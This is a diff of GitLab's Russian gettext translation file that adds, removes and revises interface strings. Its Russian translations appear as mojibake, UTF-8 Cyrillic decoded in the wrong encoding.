+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr "Показано %{pageSize} из %{total} задач"
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr "Показаны вÑе обÑуждениÑ"
@@ -27959,6 +28703,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -28199,6 +28946,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28827,7 +29577,7 @@ msgid "StaticSiteEditor|Could not commit the content changes."
msgstr "Ðевозможно зафикÑировать Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°."
msgid "StaticSiteEditor|Could not create merge request."
-msgstr ""
+msgstr "Ðевозможно Ñоздать Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние."
msgid "StaticSiteEditor|Creating your merge request"
msgstr ""
@@ -28860,7 +29610,7 @@ msgid "StaticSiteEditor|You can set an assignee to get your changes reviewed and
msgstr ""
msgid "StaticSiteEditor|Your merge request has been created"
-msgstr ""
+msgstr "Ваш Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние был Ñоздан"
msgid "Statistics"
msgstr "СтатиÑтика"
@@ -28877,13 +29627,13 @@ msgstr "СтатуÑ:"
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28898,9 +29648,6 @@ msgstr "Bucket %{docsLink}"
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr "Ð˜Ð¼Ñ Bucket'а S3"
@@ -28913,8 +29660,8 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
-msgstr "Чтобы публиковать инциденты на внешней Ñтранице ÑоÑтоÑниÑ, GitLab будет хранить JSON-файл в вашем аккаунте Amazon S3, раÑположенный так, чтобы быть доÑтупным Ð´Ð»Ñ Ñлужбы, обеÑпечивающей работу Ñтраницы ÑоÑтоÑниÑ. УбедитеÑÑŒ также, что вы наÑтроили %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
+msgstr ""
msgid "StatusPage|configuration documentation"
msgstr ""
@@ -29003,9 +29750,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -29021,9 +29765,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -29081,9 +29822,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29713,6 +30451,13 @@ msgstr ""
msgid "Test coverage parsing"
msgstr "Обработка Ð¿Ð¾ÐºÑ€Ñ‹Ñ‚Ð¸Ñ Ñ‚ÐµÑтами"
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29874,9 +30619,6 @@ msgstr[3] "%{type} Ñодержат Ñледующие ошибки:"
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29949,6 +30691,9 @@ msgstr "Текущее обÑуждение"
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr "ИÑточник данных подключен, но нет данных Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ. %{documentationLink}"
@@ -29976,6 +30721,9 @@ msgstr "Введённый вами домен запрещён."
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29988,6 +30736,9 @@ msgstr "Файл был уÑпешно удален."
msgid "The file name should have a .yml extension"
msgstr "Файл должен иметь раÑширение .yml"
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -30052,6 +30803,9 @@ msgstr "Эта группа будет помещена в ÑоÑтоÑние 'Ð
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "Импорт будет отключен поÑле %{timeout}. Ð”Ð»Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ð¸ÐµÐ², которые импортируютÑÑ Ð·Ð° большее времÑ, иÑпользуйте комбинацию команд clone/push."
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr "Приглашение не может быть принÑто."
@@ -30112,6 +30866,9 @@ msgstr "Конфликты ÑлиÑÐ½Ð¸Ñ Ð´Ð»Ñ Ñтого запроÑа на
msgid "The merge request can now be merged."
msgstr "Теперь можно выполнить Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние."
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr "Ð˜Ð¼Ñ \"%{name}\" уже занÑто в Ñтом каталоге."
@@ -30184,6 +30941,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr "Удаленное зеркалирование занÑло Ñлишком много времени."
@@ -30235,6 +30995,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr "Этап поÑтановки показывает Ð²Ñ€ÐµÐ¼Ñ Ð¼ÐµÐ¶Ð´Ñƒ уÑпешным выполнением запроÑа на ÑлиÑние и развертыванием кода в производÑтвенном окружении. Данные будут автоматичеÑки добавлены поÑле первого Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð² продакшн."
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -30283,6 +31046,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -30310,6 +31079,9 @@ msgstr "Ðет ключей SSH, ÑвÑзанных Ñ Ñтой учетной Ð
msgid "There are no SSH keys with access to your account."
msgstr "Ðет ключей SSH Ñ Ð´Ð¾Ñтупом к вашей учетной запиÑи."
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr "Ðрхивных проектов пока нет"
@@ -30329,7 +31101,7 @@ msgid "There are no closed epics"
msgstr ""
msgid "There are no closed issues"
-msgstr ""
+msgstr "Ðет закрытых обÑуждений"
msgid "There are no closed merge requests"
msgstr "Ðет закрытых запроÑов на ÑлиÑние"
@@ -30343,9 +31115,6 @@ msgstr "Ð”Ð»Ñ Ñтого ÑкземплÑра GitLab не наÑтроены п
msgid "There are no issues to show"
msgstr "Ðет обÑуждений, которые можно показать"
-msgid "There are no issues to show."
-msgstr "Ðет обÑуждений, которые можно показать."
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30589,6 +31358,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr "При подпиÑке на Ñту метку произошла ошибка."
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr "Произошла ошибка при отпиÑке от Ñтой метки."
@@ -30727,7 +31499,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr "Эта диаграмма не может быть отображена"
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30811,6 +31583,9 @@ msgstr ""
msgid "This group"
msgstr "Эта группа"
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30820,6 +31595,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30832,6 +31610,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -31138,9 +31919,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -31237,9 +32015,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr "ÐŸÑ€Ð¸Ð²ÐµÐ´ÐµÐ½Ð½Ð°Ñ Ð½Ð¸Ð¶Ðµ диаграмма — Ñто обзор входÑщего трафика вашего Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð² том виде, в котором его отÑлеживает Web Application Firewall (WAF). ОбратитеÑÑŒ к документации, чтобы узнать, как получить доÑтуп к журналам WAF и увидеть, какой тип вредоноÑного трафика пытаетÑÑ Ð¿Ð¾Ð»ÑƒÑ‡Ð¸Ñ‚ÑŒ доÑтуп к приложению. СÑылка на документацию также доÑтупна по щелчку на иконке \"?\" Ñ€Ñдом Ñ Ð½Ð¸Ð¶ÐµÑ€Ð°Ñположенным заголовком."
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31542,6 +32317,15 @@ msgstr ""
msgid "To GitLab"
msgstr "Ð’ GitLab"
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31584,9 +32368,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31614,8 +32395,8 @@ msgstr "Чтобы перемеÑтить или Ñкопировать прое
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
-msgstr "Чтобы открыть Jaeger и Ñ Ð»Ñ‘Ð³ÐºÐ¾Ñтью проÑматривать траÑÑировку из GitLab, привÑжите Ñтраницу %{link} к Ñвоему Ñерверу"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
+msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
msgstr ""
@@ -31719,6 +32500,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31918,10 +32702,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
-msgstr "Ð’Ñ‹ не получите беÑплатный пробный период прÑмо ÑейчаÑ, но вы вÑегда можете продолжить Ñтот процеÑÑ, нажав на Ñвой аватар и выбрав \"Ðачать беÑплатный пробный период\""
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
+msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -32056,9 +32840,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr "Включить Ñлужбу поддержки"
-
msgid "Turn on usage ping"
msgstr ""
@@ -32113,6 +32894,12 @@ msgstr ""
msgid "URL"
msgstr "URL"
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32515,7 +33302,7 @@ msgstr "Улучшите Ñвой тарифный план, чтобы иÑпо
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32524,6 +33311,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32620,6 +33410,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "Пакеты"
@@ -32818,9 +33611,6 @@ msgstr "ИÑпользуйте %{code_start}::%{code_end}, чтобы Ñозда
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr "ИÑпользуйте Службу поддержки Ð´Ð»Ñ ÑвÑзи Ñ Ð²Ð°ÑˆÐ¸Ð¼Ð¸ пользователÑми (например, Ð´Ð»Ñ Ð¾ÑущеÑÑ‚Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶ÐºÐ¸ клиентов) через Ñлектронную почту непоÑредÑтвенно в GitLab"
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32872,6 +33662,9 @@ msgstr "Пользователь %{current_user_username} начал выдавÐ
msgid "User %{username} was successfully removed."
msgstr "Пользователь %{username} был уÑпешно удален."
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32917,7 +33710,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32936,10 +33732,10 @@ msgid "UserLists|Add"
msgstr ""
msgid "UserLists|Add Users"
-msgstr ""
+msgstr "Добавить пользователей"
msgid "UserLists|Add users"
-msgstr ""
+msgstr "Добавить пользователей"
msgid "UserLists|Cancel"
msgstr ""
@@ -33145,9 +33941,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr "Пользователи были уÑпешно добавлены."
@@ -33214,8 +34007,23 @@ msgstr "Ðналитика потока ценноÑти дает общее пÑ
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr "У Ð½Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно данных Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñтого Ñтапа."
-msgid "ValueStreamAnalytics|%{days}d"
-msgstr "%{days}дн"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
+msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
msgstr "Медианное Ð²Ñ€ÐµÐ¼Ñ Ð¾Ñ‚ первого коммита до Ð·Ð°ÐºÑ€Ñ‹Ñ‚Ð¸Ñ Ð¾Ð±ÑуждениÑ."
@@ -33223,6 +34031,12 @@ msgstr "Медианное Ð²Ñ€ÐµÐ¼Ñ Ð¾Ñ‚ первого коммита до з
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr "Медианное Ð²Ñ€ÐµÐ¼Ñ Ð¾Ñ‚ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¾Ð±ÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð´Ð¾ его закрытиÑ."
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr "Поток ценноÑти по умолчанию не может быть удалён"
@@ -33378,9 +34192,15 @@ msgstr "ПроÑмотр меток"
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr "ПроÑмотреть Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr "ПроÑмотреть открытый Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
@@ -33408,6 +34228,9 @@ msgstr "ПроÑмотр поддерживаемых Ñзыков и фрейм
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr "ПроÑмотр поÑледнего уÑпешного Ñ€Ð°Ð·Ð²Ñ‘Ñ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð² Ñто окружение"
@@ -33417,6 +34240,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33822,15 +34648,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr "Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr "Веб-обработчик"
@@ -34005,6 +34846,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -34105,9 +34949,6 @@ msgstr "УÑтановка Gollum"
msgid "WikiClone|Start Gollum and edit locally"
msgstr "ЗапуÑтите Gollum и редактируете локально"
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr "Совет: вы можете перемеÑтить Ñту Ñтраницу, добавив путь к началу заголовка."
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr "По Ñтому пути уже еÑÑ‚ÑŒ Ñтраница Ñ Ñ‚Ð°ÐºÐ¸Ð¼ названием."
@@ -34180,18 +35021,6 @@ msgstr "иÑторию изменений"
msgid "WikiHistoricalPage|most recent version"
msgstr "поÑледнюю верÑию"
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
-msgstr "Дополнительные примеры находÑÑ‚ÑÑ Ð² %{docs_link}"
-
-msgid "WikiMarkdownDocs|documentation"
-msgstr "документациÑ"
-
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
-msgstr ""
-
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
-msgstr "Совет: Ð’Ñ‹ можете указать полный путь Ð´Ð»Ñ Ð½Ð¾Ð²Ð¾Ð³Ð¾ файла. Будут автоматичеÑки Ñозданы любые отÑутÑтвующие каталоги."
-
msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr "Ð’Ñ‹ уверены, что вы хотите удалить Ñту Ñтраницу?"
@@ -34204,10 +35033,37 @@ msgstr "Удалить Ñтраницу %{pageTitle}?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Commit message"
+msgstr ""
+
+msgid "WikiPage|Content"
+msgstr ""
+
+msgid "WikiPage|Create %{pageTitle}"
+msgstr ""
+
+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -34219,9 +35075,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr "Создать новую Ñтраницу"
-msgid "Wiki|Create page"
-msgstr "Создать Ñтраницу"
-
msgid "Wiki|Created date"
msgstr "Дата ÑозданиÑ"
@@ -34234,9 +35087,6 @@ msgstr "ÐÐ¾Ð²Ð°Ñ Ñтраница"
msgid "Wiki|Page history"
msgstr "ИÑÑ‚Ð¾Ñ€Ð¸Ñ Ñтраницы"
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr "ВерÑÐ¸Ñ Ñтраницы"
@@ -34297,6 +35147,9 @@ msgstr "Ðапишите комментарий или перетащите ÑÑŽ
msgid "Write a comment…"
msgstr "Ðапишите комментарий…"
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr "Ðапишите опиÑание Ñтапа..."
@@ -34322,7 +35175,7 @@ msgid "Yes, add it"
msgstr "Да, добавить"
msgid "Yes, close issue"
-msgstr ""
+msgstr "Да, закрыть обÑуждение"
msgid "Yes, delete project"
msgstr ""
@@ -34453,6 +35306,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34594,6 +35453,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34678,9 +35540,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34717,12 +35576,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr "Ð’Ñ‹ уÑпешно приобрели подпиÑку на план %{plan} на %{seats} меÑÑ‚. Ð’Ñ‹ получите чек по Ñлектронной почте."
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34756,8 +35609,8 @@ msgstr "Ð”Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð¿Ð°Ñ€Ð¾Ð»Ñ Ð½ÐµÐ¾Ð±Ñ…Ð¾Ð´Ð¸Ð¼Ð¾ ввеÑти
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
-msgstr "Ð’Ñ‹ должны наÑтроить входÑщую почту, прежде чем она Ñтанет активной."
+msgid "You must solve the CAPTCHA in order to submit"
+msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
msgstr ""
@@ -34771,9 +35624,6 @@ msgstr ""
msgid "You need permission."
msgstr "Вам нужно разрешение."
-msgid "You need to be logged in."
-msgstr "Вы должны быть авторизованы."
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34957,12 +35807,18 @@ msgstr "ÐктивноÑÑ‚ÑŒ ваших проектов"
msgid "Your Public Email will be displayed on your public profile."
msgstr "Ваша Ð¿ÑƒÐ±Ð»Ð¸Ñ‡Ð½Ð°Ñ Ð¿Ð¾Ñ‡Ñ‚Ð° будет отображатьÑÑ Ð² вашем профиле."
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "Ваши ключи SSH (%{count})"
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -35083,6 +35939,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr "Ваша Ð»Ð¸Ñ†ÐµÐ½Ð·Ð¸Ñ Ð´ÐµÐ¹Ñтвительна Ñ"
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -35176,7 +36035,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -35285,6 +36144,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35557,7 +36419,7 @@ msgid "ciReport|is loading, errors when loading results"
msgstr ""
msgid "closed"
-msgstr ""
+msgstr "закрыто"
msgid "closed issue"
msgstr "закрытое обÑуждение"
@@ -35589,6 +36451,15 @@ msgstr ""
msgid "created"
msgstr "Ñоздан"
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
